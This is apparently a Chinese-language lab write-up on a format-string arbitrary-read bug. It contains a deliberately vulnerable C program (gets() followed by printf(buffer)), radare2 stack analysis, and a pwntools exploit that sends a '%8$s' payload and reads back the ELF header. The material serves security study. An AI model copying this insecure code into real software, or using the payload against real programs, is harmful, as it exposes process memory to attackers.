任意读

vuln.c

#include <stdio.h>

int main(void) {
    char buffer[200];

    gets(buffer);

    printf(buffer);
    return 0;
}

漏洞分析

  1. 编译程序
gcc -m32 -no-pie -fno-stack-protector -z execstack vuln.c -o vuln
  1. 分析程序
  • 程序保护
└─$ checksec --file=./vuln
[*] '/home/kali/exploits/str_arb_read/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
  • r2 debug vuln
└─$ r2 -d -A ./vuln            
glibc.fc_offset = 0x00148
experimental analysis.
[0xf7fe4450]> s main;pdf
            ; DATA XREFS from entry0 @ 0x8049086, 0x804908c
┌ 83: int main (char **argv);
│           ; var int32_t var_d0h @ ebp-0xd0
│           ; var int32_t var_8h @ ebp-0x8
│           ; arg char **argv @ esp+0xf4
│           0x08049172      8d4c2404              sub esp, 0xc
│           0x080491a7      8d8530ffffff   lea eax, [var_d0h]
│           0x080491ad      50             push eax
│           0x080491ae      e87dfeffff     call sym.imp.        printf         ; int printf(const char *format)
└           0x080491c4      c3             ret
  • db printf
[0x08049172]> db 0x080491ae
[0x08049172]> dc
%8s|||||
hit breakpoint at: 0x80491ae
[0x080491ae]> pxw @ esp
0xffffd3a0  0xffffd3b8 0x00000000 0x08048288 0x0804918c  ................
0xffffd3b0  0xf63d4e2e 0x003055e4 0x7c733825 0x7c7c7c7c  .N=..U0.%8s|||||
...
[0x080491ae]> ? 0x25
hex     0x25
string  "%"
  • stack layout

    esp content
    +0 format string’s address
    +x format string
  • build stack

    esp content
    +0 format string’s address
    +6 “%8$s”
    +7 任意地址
  1. 利用程序
[0x08049172]> i~baddr[1]
0x8048000
  • 读取程序头
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
# or payload = flat('%7$s')
payload = flat('%8$s||||')
payload += p32(0x8048000)
p.sendline(payload)
log.info(p.clean())
  • 任意读结果
└─$ python exp.py
[+] Starting local process './vuln': pid 1467801
[*] Paused (press any to continue)
[*] Process './vuln' stopped with exit code 0 (pid 1467801)
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] \x7fELF||||